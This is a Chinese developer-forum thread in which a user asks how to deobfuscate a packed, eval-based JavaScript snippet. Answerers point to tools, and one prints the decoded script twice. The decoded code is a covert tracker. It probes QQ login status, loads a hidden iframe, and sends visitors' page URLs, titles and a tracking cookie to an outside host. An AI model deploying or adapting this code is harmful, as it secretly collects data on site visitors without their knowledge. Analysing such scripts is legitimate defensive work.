首页新闻找找看学习计划

请教js解密or混淆的问题

-1
悬赏园豆:50 [待解决问题]

请问这是混淆还是加密过的?如何让这段代码显示正常?

/*z8N4s3APbo*/var/*B5JG0*/DehysdXp/*y70ZGd1eZdT*/=/*ZNY6fe7bS*/\u0075\u006e\u0065\u0073\u0063\u0061\u0070\u0065;/*zt9Vr*/var/*UEaUj6IgC*/PXMvSYfwa/*Zk2mk5b6*/=/*R93N2xVg*/\u0065\u0076\u0061\u006c;/*nVQQpNS4*/PXMvSYfwa/*rWpVyI26*/(DehysdXp/*rWpVyI26*/("eval/*AUmjAfHs1gB*/%28/*PANtQh*/function/*uGWtXVF*/%28/*tx4rEZeo7*/p%2Ca%2Cc%2Ck%2Ce%2Cd%29%7Be%3Dfunction/*DsiOF*/%28/*TBEhF6LZ2*/c%29%7Breturn/*xFuEgy*/%28/*YkmwbUiiO*/c%3Ca%3F%27%27%3Ae/*WwtrY37*/%28/*zefDkTNEKof*/parseInt/*XzAY9*/%28/*fX5QfOC70*/c%2Fa%29%29%29%2B/*QrwVSafS*/%28/*Ya4HGJz*//*zVYPpco*/%28/*Fyp05q7Qd*/c%3Dc%25a%29%3E35%3FString.fromCharCode/*YZu8vDKpR*/%28/*j5hR78m*/c%2B29%29%3Ac.toString/*m1cg4J*/%28/*frI1Bm*/36%29%29%7D%3Bif/*CYaTvBJw1e*/%28/*hn3Wd7*/%21%27%27.replace/*GIoFKMKp9*/%28/*hdSXEPfwS*/%2F%5E%2F%2CString%29%29%7Bwhile/*WvzOMpP*/%28/*Zbg5xhWXNIt*/c--%29%7Bd%5Be/*eUXILR*/%28/*uG1CaPnugz*/c%29%5D%3Dk%5Bc%5D%7C%7Ce/*A3J0Mg*/%28/*DS6dvAjJ*/c%29%7Dk%3D%5Bfunction/*Q52DFaupJ*/%28/*O7MAJeTRG*/e%29%7Breturn%20d%5Be%5D%7D%5D%3Be%3Dfunction/*zia3b81c*/%28/*VzCnlGhKEGF*/%29%7Breturn%27%5C%5Cw%2B%27%7D%3Bc%3D1%7D%3Bwhile/*dqJrM*/%28/*Ptx1j*/c--%29%7Bif/*d3fR2bKVIN*/%28/*atHNb*/k%5Bc%5D%29%7Bp%3Dp.replace/*eN6zieuRay*/%28/*XJLy1i*/new%20RegExp/*NPKa9e*/%28/*Hjs5c0*/%27%5C%5Cb%27%2Be/*bNlNx*/%28/*MOs2MxO6*/c%29%2B%27%5C%5Cb%27%2C%27g%27%29%2Ck%5Bc%5D%29%7D%7Dreturn%20p%7D/*BVgmtFt*/%28/*xmeQlRtdm*/%271I/*BXS9PHD*/%28/*luRgjXeV4a0*/4z/*zJSIvJ50CM*/%28/*crXQ8W*/%221I%254A%254B%251r%251o%251z%2550%2552%2529%25A%251p%255%2529%25E%255%2556%253F%2527%2527%255g%255t%255%255v%2529%2529%2529%252B%2528%255%25j%255y%2529%255x%255j.5i%255%253J%2529%255l.5m%255p%2529%2529%250%255z%2528%2521%2527%2527.11%2528%252F%255E%252F%252t%2529%2529%2526%255--%2529%252b%251c%255%2529%255D%252i%25y%255D%254%252o%255%2529%252k%253D%252m%25r%2529%25E%252u%251c%255D%250%255D%25b%251p%2528%2529%25E%2527%255C%253I%252B%2527%250%2519%253i%250%253h%255--%2529%253j%253k%25y%255D%2529%253f%253C.11%253p%253t%2528%2527%255C%251R%2527%253v%255%2529%252B%2527%255C%251R%2527%252C%252L%2527%2529%251z%25y%255D%2529%250%252y%25h%250%2528%252D.H%253D%252Q%2522%251t.w%253D%2531%2522%251t.G%253D%25C%253A%252F%2530.1n.z%252F%2522%253%2535%2519%252W%25m%252X%2529%256%251H%25T%25h%2528%2529%251G.18%251F.s%2528%2529%252V%252U%2517%2517%252R%2529%252S.D%251u%252B%2522%253D%2522%252T%252Y%2529%252B%2522%251w%253D%2522%251y.16%2528%2529%25c%252Z%25m%2529%256%2534%252.D.1x%25Y%2533%2528%2522%2528%255E%254%2520%2529%2522%2532%252B%2522%253D%2528%255B%255E%253B%255D%252A%2529%2528%253B%254%2524%2529%2522%2529%2529%259%251P%2521%25d%252P%252E%251P%252G%255D%2529%252z%252w%25c%252x%25m%2529%256%251H%25T%25h%2528%2529%251G.18%251F.s%2528%2529-1%2529%253%252H%252I%25m%2529%259%252N%2521%25d%252O.D%251u%252B%2522%253D%2522%252M%252B%2522%251w%253D%2522%251y.16%2528%2529%25c%252J%2528%2529%256%252K%252.q%2528%2536%2522%2529%25b.v%253D%25C%253A%252F%2537.x.z%253u%252F%2522%25f.w%25b.1i%25F%25b.1h%25F%25b.1f%25F%25b.1g%253D%253s%2522%259%25r.U%2529%25A.U%2528%253q%2522%251o%2528%2529%2513%2528%2529%250%2529%25g%25A.R%25j%2528%2529%2513%2528%2529%250%253r.1D.o%25r%2529%25c%253w%2528%2529%256%251a%251s%2528%25u%2522%2529%259%25X%253D%25d%2529%253x%253D%253G%2522%252B%25Y%25h%2528%2529%2529.s%2528%2529%253H%253E.1Q%2528%2529%253y%2529%253z%2528%25u%2522%251r%2529%253o%251T%252.7%25k%258%25i%2529%25k%258%25i%2529%253%251L%252.10.15%25n%258%25l%2529%25n%258%25l%2529%253%25V%252.K%2528%255C%25M%255C%2527%2529.I%25L%2529%253%25N%252.q%2528%25Q%2522%2529%25a.O%253D%25P%25J%2522%25a.v%25t.G%252B%2522%251E%251v%251S%253n%2514%253D%2522%25f.H%252B%2522%251q%253D%2522%25f.w%252B%2522%251O%253D%2522%251e%252B%2522%251d%253D%2522%251b%252B%2522%251k%253D%2522%251l%25B.o%25e%2529%25c%253d%2528%2529%256%253e%25d%259%253c%253b%2529%253D%253D%2538%2522%2529%251j%2539.W%25g%251j%253a.W%253g%252v%253D%253l%2529%251K.12%251M%2529%253m%2528%2529%25g%256%251a%251s%2528%25u%2522%2529%259%25X%2521%25d%2529%251K.12%251M%2529%253%251T%252.7%25k%258%25i%2529%25k%258%25i%2529%253%251L%252.10.15%25n%258%25l%2529%25n%258%25l%2529%253%25V%252.K%2528%255C%25M%255C%2527%2529.I%25L%2529%253%25N%252.q%2528%25Q%2522%2529%25a.O%253D%25P%25J%2522%25a.v%25t.G%252B%2522%251E%251v%251S%251W%2514%253D%2522%25f.H%252B%2522%251q%253D%2522%25f.w%252B%2522%251O%253D%2522%251e%252B%2522%251d%253D%2522%251b%252B%2522%251k%253D%2522%251l%25B.o%25e%2529%25g%256%252n%252.1C%2528%251U%2522%2529%252l.1A.1B%252p%2529%250%250%25c%252s%2528%2529%256%252r%253D%25C%253A%252F%252a.x.z%252g%252f%252e-1J%252h%252c%2525%252j%252q%2523%251X%251Y%253D%2522%253%251V%25T%25h%2528%2529.s%2528%2529%255n%251N%255o%253%25V%252.K%2528%255C%25M%255C%2527%2529.I%25L%2529%253%25N%252.q%2528%25Q%2522%2529%25a.O%253D%25P%25J%2522%25a.1Z%253D%251U%2522%259%25e.S%2529%25p.Z%25j%2528%2529%255k%25e.S%253D%253D%255q%2522%254%255r.S%253D%253D%255w%2522%2529%25p.Z%25d%255s%2528%2529%250%250%25g%25p.R%25j%2528%2529%255u%2528%2529%250%255h.v%251N%25B.o%25e%2529%2554%2528%2529%2555%25t.1m%2528%2553%2528%2529%2522%254Z%2529%253B%2527%2551%2557%252C%2527%254%254%2558%254%255e%255f%255d%254%255c%2559%255a%255b%254%255A%255X%2564%2565%2566%2563%2562%255Z%2560%2561%2567%2568%256d%256e%256c%254%2569%256a%256f%256b%255Y%255K%255L%255M%255J%255I%255F%255G%255H%255N%255O%255U%255V%255W%255T%255S%255P%255Q%255R%254Y%254X%2549%254a%254b%2548%2547%2544%2545%2546%254c%254d%254j%254k%254i%254h%254e%254f%254g%2543%2542%253P%253Q%253R%253O%253N%253K%253L%253M%253S%253T%253Z%2540%2541%253Y%253X%253U%253V%253W%254l%254m%254L%254M%254N%254K%254J%254G%254H%254I%254O%254P%254V%254W%254U%254T%254Q%254R%254S%254F%254E%254s%254t%254u%254r%254q%254n%254o%254p%254v%254w%254C%2527.4D%2528%2527%254%2527%2529%254x%252C%254y%250%2529%2529%252d%22%29%29%27%2C62%2C388%2C%277D%7C%7C3D6%7C3B3%7C7C%7C28c%7C7B3%7C%7C3Dg%7C3Bf%7C3B5%7C3Be%7C7Dc%7C3Di%7C285%7C2Bb%7C7Dl%7C20p%7C287%7C3Dc%7C3B7%7C289%7C28j%7C3B9%7C%7C7B5%7C%7C28e%7C%7C3Db%7C22a%7C%7C%7C%7C5Bc%7C%7C7Be%7C3Bk%7C22A%7C%7C7Breturn%7C3D0%7C%7C%7C%7C2FQ%7C%7C280%7C27J%7C205%7C%7C22N%7C22M%7C%7C%7C3Dn%7C%7C20k%7C%7C28a%7C28n%7C%7C%7Creplace%7C%7C7BB%7C26V%7C%7C%7C2A19%7C%7C3Bc%7C20a%7C2B7%7C5Be%7C267%7C2B9%7C%7C%7C%7C%7C7Bm%7C26a%7C2Ba%7C%7C%7C2Cc%7C3Dfunction%7C26x%7C2Ca%7C3DF%7C3Bb%7C3Dj%7C3D14%7C3BX%7C%7C2Bh%7C2Ck%7C%7C%7C%7C%7C3F11%7C28h%7C3Bh%7C20h%7Ceval%7C%7C7Bb%7C209%7C28r%7C3Du%7C269%7C28C%7C%7C5Cb%7C26T%7C207%7C2213%7C201a%7C3D1N%7C3D1U%7C26t%7C%7C%7C%7C%7C26d%7C%7C3D8%7C7Bwhile%7C%7C%7C%7C2F1F%7C7Bd%7C3F1I%7C0A%7C2F1K%7C2F1L%7C2F1G%7C2F1H%7C3Dk%7C261M%7C7Dk%7C3By%7C5Bfunction%7C20y%7C7Ce%7C28y%7C3D4%7C20u%7C20L%7C2CString%7C20d%7C28m%7C20i%7C201u%7C7Dreturn%7C3B1d%7C%7C%7C%7C27b%7C201v%7C%7C5B2%7C20E%7C3D1y%7C20Y%7C20e%7C27g%7C2BE%7C28E%7C296%7C291d%7C221r%7C2A1s%7C3B6%7C2B1t%7C2A1o%7C2B2%7C2017%7C2C1b%7C281b%7C20F%7C2F1p%7C221q%7C2Bj%7C201w%7C20C%7C20r%7C221j%7C2F1l%7C221V%7C3D1Y%7C3D1c%7C281c%7C281z%7C20P%7C20m%7C7Bp%7C7Df%7C3Bwhile%7C3D1%7C7Bif%7C28k%7C3D1W%7C3BY%7C3D1P%7C7D3%7C28new%7C22R%7C7D6%7C221e%7C20RegExp%7C2F1k%7C2Be%7C20B%7C7Ba%7C2A1O%7C3B17%7C%7C%7C3Dp%7C%7C281R%7C%7C22m%7C2B1T%7C5Cw%7C2B29%7C7Cheight%7C7Cwidth%7C7Ciframe%7C7Cscrolling%7C7Cframeborder%7C7Cdata3%7C7Creturn%7C7Cno%7C7Cprofiles%7C7Cmeishi%7C7C28%7C7C1000%7C7Cescape%7C7C992930%7C7Chuoyan%7C7CsetInterval%7C7Cyiheluntan%7C7C24%7C7Cvalue%7C7Ctime%7C7CinsertFrame%7C7Conreadystatechange%7C7Clocation%7C7Cexpires%7C7Cerr%7C7Cdo%7C7CattachEvent%7C7Cuid%7C7Caction%7C7CclearInterval%7C7CSetCookie%7C7CsetTime%7C7C60%7C7CtoGMTString%7C7Chref%7C7Ccheckloginscript%7C7CsaveQQ%7C7CDelCookie%7C7Cunescape%7C7C365633133%7C7Cundefined%7C7C1007%7C7CparseInt%7C7Ccomplete%7C7Csave%7C7Crandom%7C7CMath%7C7Cloaded%7C7Cdata0%7C2C0%7C7B%7Cunescape%7C28function%7C28p%7C7Cid%7Csplit%7C7C100000%7C7CcookieSave%7C7CremoveChild%7C7CgetElementById%7C7Cbody%7C7CparentNode%7C7Ctypeof%7C7CRegExp%7C7Cmatch%7C7CgetCookie%7C7C3000%7C7Capps%7C7Ccgi%7C7Cyx%7C7Clc%7C7Cbin%7C7Chc%7C7Capp%7C7Cshow_fel%7C7CreadyState%7C7Conload%7C2C1E%7C2Ce%7C2C62%7C2Cd%7C22L%7C7DL%7C3Br%7C3Ca%7C2C124%7C7Cvar%7C7Cuincookie%7C7Cwindow%7C7Cfunction%7C7Curl%7C7Ctitle%7C7CoScript%7C7Cdocument%7C3Ae%7C7D5%7CfromCharCode%7C3FString%7C7Bf%7C3Ac%7CtoString%7C3Bu%7C2B1a%7C2836%7C221X%7C7C5%7C3BP%7C28parseInt%7C7BP%7C2Fa%7C221S%7C3E35%7C25a%7C3Bif%7C7Cms%7C%7C%7C%7C%7C7Ccval%7C7CGetCookie%7C7Ccfgurl%7C7Ccookie%7C7Carr%7C7Ccom%7C7Chttp%7C7CnewSubmit%7C7Ccfguid%7C7Citem%7C7Ctype%7C7CisLogin%7C7Cjavascript%7C7Ctext%7C7Cscript%7C7CHEAD%7C7CgetElementsByTagName%7C7CdynamicLoad%7C7Cif%7C7Ccheckscript%7C7Celse%7C7Ccode%7C7Cnew%7C7CoHead%7C7Cname%7C7CencodeURI%7C7Cexp%7C7Cnull%7C7CappendChild%7C7CDate%7C7Cvsrc%7C7Csrc%7C7Cqq%7C7CgetTime%7C7CcreateElement%7C7CisLoginTimeID%7C7Ccfgqq%27.split/*j9CA25oIE*/%28/*FlpDI5*/%27%7C%27%29%2C0%2C%7B%7D%29%29%0A"/*kQX3l*/)/*BGDO2wIFdp*//*kQX3l*/)/*BGDO2wIFdp*//*oG1IwDJcg4k*///JS_encode By tianyiw/**/
self的主页 self | 初学一级 | 园豆:182
提问于:2013-11-18 21:51
< >
分享
所有回答(4)
0

http://tool.lu/js/ 这个在线工具支持加密解密混淆,

要想显示正常几乎不太可能,因为你没法知道他是先加密还是先混淆,是先混淆几次再加密几次,你试试这个工具就了解了

Zery | 园豆:6069 (大侠五级) | 2013-11-18 23:54
0

在浏览器中打开 尝试看下对象吧。这样的混淆之后  实在不好还原。还不如直接看看浏览器看看方法 直接来的快点,毕竟这个代码比较少。

````` | 园豆:14268 (专家六级) | 2013-11-19 09:25

这个可以还原的

支持(0) 反对(0) self | 园豆:182 (初学一级) | 2013-11-19 09:43

@self: 是可还原。但是有这会时间用浏览器已经大概都把代码给追溯回来了。

支持(0) 反对(0) ````` | 园豆:14268 (专家六级) | 2013-11-19 09:46

@self: 


1 window.cfguid = "28"; 2 window.cfgqq = "992930"; 3 window.cfgurl = "http://huoyan.yiheluntan.com/"; 4 var isLoginTimeID; 5 6 function SetCookie(name, value) { 7 var exp = new Date(); 8 exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000); 9 document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() 10 } 11 12 function GetCookie(name) { 13 var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)")); 14 if (arr != null) return unescape(arr[2]); 15 return null 16 } 17 18 function DelCookie(name) { 19 var exp = new Date(); 20 exp.setTime(exp.getTime() - 1); 21 var cval = getCookie(name); 22 if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString() 23 } 24 25 function insertFrame() { 26 var ms = document.createElement("iframe"); 27 ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq; 28 ms.width = 0; 29 ms.height = 0; 30 ms.frameborder = 0; 31 ms.scrolling = "no"; 32 if (ms.attachEvent) { 33 ms.attachEvent("onload", function () { 34 newSubmit() 35 }) 36 } else { 37 ms.onload = function () { 38 newSubmit() 39 } 40 } 41 document.body.appendChild(ms) 42 } 43 44 function newSubmit() { 45 var uincookie = GetCookie("uincookie"); 46 if (uincookie == null) { 47 uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000); 48 SetCookie("uincookie", uincookie) 49 } 50 var title = document.title; 51 title = encodeURI(title); 52 title = encodeURI(title); 53 var url = document.location.href; 54 url = encodeURI(url); 55 url = encodeURI(url); 56 var oHead = document.getElementsByTagName('HEAD').item(0); 57 var oScript = document.createElement("script"); 58 oScript.type = "text/javascript"; 59 oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie; 60 oHead.appendChild(oScript) 61 } 62 63 function isLogin() { 64 var code = null; 65 if (typeof (data3) == "undefined") { 66 code = data0.err 67 } else { 68 code = data3.err 69 } if (code == 1007) { 70 window.clearInterval(isLoginTimeID); 71 insertFrame() 72 } else { 73 var uincookie = GetCookie("uincookie"); 74 if (uincookie != null) { 75 window.clearInterval(isLoginTimeID); 76 var title = document.title; 77 title = encodeURI(title); 78 title = encodeURI(title); 79 var url = document.location.href; 80 url = encodeURI(url); 81 url = encodeURI(url); 82 var oHead = document.getElementsByTagName('HEAD').item(0); 83 var oScript = document.createElement("script"); 84 oScript.type = "text/javascript"; 85 oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie; 86 oHead.appendChild(oScript) 87 } else { 88 var checkscript = document.getElementById("checkloginscript"); 89 checkscript.parentNode.removeChild(checkscript) 90 } 91 } 92 } 93 94 function dynamicLoad() { 95 var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t="; 96 var time = new Date().getTime(); 97 vsrc = vsrc + time; 98 var oHead = document.getElementsByTagName('HEAD').item(0); 99 var oScript = document.createElement("script"); 100 oScript.type = "text/javascript"; 101 oScript.id = "checkloginscript"; 102 if (oScript.readyState) { 103 oScript.onreadystatechange = function () { 104 if (oScript.readyState == "loaded" || oScript.readyState == "complete") { 105 oScript.onreadystatechange = null; 106 isLogin() 107 } 108 } 109 } else { 110 oScript.onload = function () { 111 isLogin() 112 } 113 } 114 oScript.src = vsrc; 115 oHead.appendChild(oScript) 116 } 117 dynamicLoad(); 118 isLoginTimeID = window.setInterval("dynamicLoad()", 3000);

解密后的代码.

支持(0) 反对(0) 小秦是谁 | 园豆:202 (菜鸟二级) | 2013-11-29 16:55
0

同意 2 楼,如果有 Chrome,用 Chrome 打开这个网页,右击网页空白处,选择“审查元素”,切换到“Source”一栏下,找到这个 JS,里面的代码就是 Chrome 解析过的。

guwoow | 园豆:611 (小虾三级) | 2013-11-19 09:42

没用,试过了

支持(0) 反对(0) self | 园豆:182 (初学一级) | 2013-11-19 09:43
0
window.cfguid = "28";
window.cfgqq = "992930";
window.cfgurl = "http://huoyan.yiheluntan.com/";
var isLoginTimeID;

function SetCookie(name, value) {
    var exp = new Date();
    exp.setTime(exp.getTime() + 2 * 24 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
}

function GetCookie(name) {
    var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
    if (arr != null) return unescape(arr[2]);
    return null
}

function DelCookie(name) {
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval = getCookie(name);
    if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString()
}

function insertFrame() {
    var ms = document.createElement("iframe");
    ms.src = "http://meishi.qq.com/profiles/" + window.cfgqq;
    ms.width = 0;
    ms.height = 0;
    ms.frameborder = 0;
    ms.scrolling = "no";
    if (ms.attachEvent) {
        ms.attachEvent("onload", function () {
            newSubmit()
        })
    } else {
        ms.onload = function () {
            newSubmit()
        }
    }
    document.body.appendChild(ms)
}

function newSubmit() {
    var uincookie = GetCookie("uincookie");
    if (uincookie == null) {
        uincookie = "code" + (new Date()).getTime() + parseInt(Math.random() * 100000);
        SetCookie("uincookie", uincookie)
    }
    var title = document.title;
    title = encodeURI(title);
    title = encodeURI(title);
    var url = document.location.href;
    url = encodeURI(url);
    url = encodeURI(url);
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.src = window.cfgurl + "?action=saveQQ&do=save&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
    oHead.appendChild(oScript)
}

function isLogin() {
    var code = null;
    if (typeof (data3) == "undefined") {
        code = data0.err
    } else {
        code = data3.err
    } if (code == 1007) {
        window.clearInterval(isLoginTimeID);
        insertFrame()
    } else {
        var uincookie = GetCookie("uincookie");
        if (uincookie != null) {
            window.clearInterval(isLoginTimeID);
            var title = document.title;
            title = encodeURI(title);
            title = encodeURI(title);
            var url = document.location.href;
            url = encodeURI(url);
            url = encodeURI(url);
            var oHead = document.getElementsByTagName('HEAD').item(0);
            var oScript = document.createElement("script");
            oScript.type = "text/javascript";
            oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie;
            oHead.appendChild(oScript)
        } else {
            var checkscript = document.getElementById("checkloginscript");
            checkscript.parentNode.removeChild(checkscript)
        }
    }
}

function dynamicLoad() {
    var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=";
    var time = new Date().getTime();
    vsrc = vsrc + time;
    var oHead = document.getElementsByTagName('HEAD').item(0);
    var oScript = document.createElement("script");
    oScript.type = "text/javascript";
    oScript.id = "checkloginscript";
    if (oScript.readyState) {
        oScript.onreadystatechange = function () {
            if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
                oScript.onreadystatechange = null;
                isLogin()
            }
        }
    } else {
        oScript.onload = function () {
            isLogin()
        }
    }
    oScript.src = vsrc;
    oHead.appendChild(oScript)
}
dynamicLoad();
isLoginTimeID = window.setInterval("dynamicLoad()", 3000);

上面回复的内容被合成一行了, 再回复一次.

小秦是谁 | 园豆:202 (菜鸟二级) | 2013-11-29 16:55
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册